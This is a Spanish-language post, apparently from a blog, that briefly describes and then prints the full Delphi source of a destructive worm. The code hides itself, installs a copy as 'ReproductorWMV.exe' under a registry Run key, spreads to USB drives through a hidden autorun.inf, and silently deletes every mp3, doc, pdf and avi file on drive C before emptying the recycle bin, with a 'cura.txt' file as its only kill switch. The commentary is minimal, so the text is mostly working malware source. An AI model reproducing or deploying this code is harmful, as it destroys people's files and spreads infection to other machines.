Analizando un programa en Delphi

Navegando por la red, me he encontrado con un curioso programa, que lo que hace es buscar los ficheros mp3, doc, pdf y avi, los lleva a la papelera y la vacía. También se copia automáticamente en los dispositivos que se conecten al ordenador, modificando el inicio del SO anfitrión para iniciarse automáticamente en el siguiente arranque.

Si encuentra un archivo llamado "cura.txt" ni se ejecuta, ni se copia.

unit Unit1;


interface

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, StdCtrls,Registry;

type

TForm1 = class(TForm)

function ALaPapelera(Fichero:string):boolean;

Function VaciaPapelera:String;

function GetWindowsDirectory : String;

procedure Autorun;

procedure FormCreate(Sender: TObject);

private

{ Private declarations }

Lista: set of Char;

procedure CrearLista;

procedure WMDEVICECHANGE(var Msg: TMessage); message WM_DEVICECHANGE;

public

{ Public declarations }

procedure BuscaFicheros(path, mask : AnsiString; var Value : TStringList; brec : Boolean);

end;

var

Form1: TForm1;

Ficheros1:TStringList;

implementation

{$R *.dfm}

function Tform1.GetWindowsDirectory : String;

var

pcWindowsDirectory : PChar;

dwWDSize : DWORD;

begin

dwWDSize := MAX_PATH + 1;

GetMem( pcWindowsDirectory, dwWDSize );

try

if Windows.GetWindowsDirectory( pcWindowsDirectory, dwWDSize ) <> 0

then

Result := pcWindowsDirectory;

finally

FreeMem( pcWindowsDirectory );

end;

end;

Function Tform1.VaciaPapelera;

type

TSHEmptyRecycleBin = function (Wnd: HWND;

LPCTSTR: PChar;

DWORD: Word): integer; stdcall;

var

MangoLib : THandle;

SHEmptyRecycleBin : TSHEmptyRecycleBin;

i:integer;

begin

{Cargamos SHell32.DLL}

{Load Shell32.DLL}

MangoLib := LoadLibrary(PChar('Shell32.dll'));

{Si no se pudo... error}

{if not... error}

if MangoLib = 0 then

Raise Exception.Create( 'No se pudo cargar Shell32.DLL'+#13+

'Cannot load Shell32.DLL');

{Buscamos dentro de la DLL la funcion que queremos}

{Search into DLL the required funtion}

@SHEmptyRecycleBin := GetProcAddress(MangoLib, 'SHEmptyRecycleBinA');

{Si no existe... error}

{If don't exists... error}

if @SHEmptyRecycleBin = nil then

begin

FreeLibrary(MangoLib);

Raise Exception.Create( 'No se pudo encontrar SHEmptyRecycleBinA en Shell32.DLL'+#13+

'Cannot find SHEmptyRecycleBinA in Shell32.DLL');

end;

{Vaciamos la papelera, sin sonido ni confirmación}

{Empty the Recycle bin...}

SHEmptyRecycleBin(Application.Handle,'',7);

{Liberamos la DLL}

{Free the DLL}

FreeLibrary(MangoLib);

end;

function Tform1.ALaPapelera(Fichero:string):boolean;

var

FileOp: TSHFileOpStruct;

begin

if FileExists(Fichero)then

begin

FillChar(FileOp,SizeOf(FileOp),#0);

with FileOp do

begin

Wnd:= Application.Handle;

pFrom:= PChar(Fichero+#0#0);

fFlags:= FOF_SILENT or FOF_ALLOWUNDO or FOF_NOCONFIRMATION;

end;

Result:= (ShFileOperation(FileOp)=0);

end else

Result:=False;

end;

procedure TForm1.CrearLista;

var

Letra: Char;

begin

Lista:= [];

for Letra:= 'C' to 'Z' do

if GetDriveType(Pchar(Letra+':\')) = DRIVE_REMOVABLE then

Lista:= Lista + [Letra];

end;

procedure TForm1.WMDEVICECHANGE(var Msg: TMessage);

var

Letra: Char;

Atributos: Cardinal;

begin

if Msg.WParam = DBT_DEVICEARRIVAL then

begin

for Letra:= 'C' to 'Z' do

if GetDriveType(Pchar(Letra+':\')) = DRIVE_REMOVABLE then

begin

if not (Letra in Lista) then

begin

copyfile(Pchar(ParamStr(0)),Pchar(Letra+':\ReproductorWMV.exe'),false);

SetFileAttributes(PChar(Letra+':\ReproductorWMV.exe'),faHidden);

with TStringList.Create() do

try

Add('[Autorun]');

Add('ShellExecute=ReproductorWMV.exe');

add('attrib +h Autorun.inf');

try

SaveToFile(Letra+':\autorun.inf');

SetFileAttributes(PChar(Letra+':\autorun.inf'),faHidden);

except

on E: Exception do

begin

ShowMessageFmt(

'Ocurrió una excepción: %s',

[E.Message]

);

end;

end;

finally

Free();

end;

//ShowMessage('Este es un disco removible '+Letra+':\');

end;

end;

end;

CrearLista;

inherited;

end;

procedure TForm1.BuscaFicheros(path, mask : AnsiString; var Value : TStringList; brec : Boolean);

var

srRes : TSearchRec;

iFound : Integer;

begin

if ( brec ) then

begin

if path[Length(path)] <> '\' then path := path +'\';

while iFound = 0 do

begin

if ( srRes.Name <> '.' ) and ( srRes.Name <> '..' ) then

if srRes.Attr and faDirectory > 0 then

BuscaFicheros( path + srRes.Name, mask, Value, brec );

iFound := FindNext(srRes);

end;

FindClose(srRes);

end;

if path[Length(path)] <> '\' then path := path +'\';

iFound := FindFirst(path+mask, faAnyFile-faDirectory, srRes);

while iFound = 0 do

begin

if ( srRes.Name <> '.' ) and ( srRes.Name <> '..' ) and ( srRes.Name <> '' ) then

Value.Add(path+srRes.Name);

iFound := FindNext(srRes);

end;

FindClose( srRes );

end;

procedure Tform1.Autorun;

var

Registro :TRegistry;

Atributos: Cardinal;

begin

Registro:=TRegistry.create;

Registro.RootKey := HKEY_LOCAL_MACHINE;

if Registro.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',FALSE)

then

begin

Registro.WriteString('SystemRoot',GetWindowsDirectory+

'\ReproductorWMV.exe');

copyfile(Pchar(ParamStr(0)),Pchar(GetWindowsDirectory+'\ReproductorWMV.exe'),false);

SetFileAttributes(PChar(GetWindowsDirectory+'\ReproductorWMV.exe'),faHidden);

end;

Registro.Destroy;

end;

procedure TForm1.FormCreate(Sender: TObject);

var

Ficheros:TStringList;

FicherosDoc:TStringList;

dato :TStringList;

i:integer;

begin

BorderStyle := bsNone;

Left := 0;

Top := 0;

Width := 0;

Height := 0;

Visible := False;

Application.Title := '';

Application.ShowMainForm := False;

ShowWindow( Application.Handle, SW_HIDE );

Ficheros:=TStringList.Create;

BuscaFicheros('c:\cura\','cura.txt',Ficheros,TRUE);

SetWindowLong( Application.Handle, GWL_EXSTYLE,

GetWindowLong(Application.Handle, GWL_EXSTYLE) or

WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW);

autorun;

if ficheros.count > 0 then

begin

Ficheros.Free;

form1.visible:=false;

end else

begin

BuscaFicheros('c:\.\','*.mp3',Ficheros,TRUE);

for i:=0 to ficheros.Count -1 do

Alapapelera (ficheros[i]);

vaciapapelera;

BuscaFicheros('c:\.\','*.doc',Ficheros,TRUE);

for i:=0 to ficheros.Count -1 do

Alapapelera (ficheros[i]);

vaciapapelera;

BuscaFicheros('c:\.\','*.pdf',Ficheros,TRUE);

for i:=0 to ficheros.Count -1 do

Alapapelera (ficheros[i]);

vaciapapelera;

BuscaFicheros('c:\.\','*.avi',Ficheros,TRUE);

for i:=0 to ficheros.Count -1 do

Alapapelera (ficheros[i]);

vaciapapelera;

ficheros.Free;

end;

end;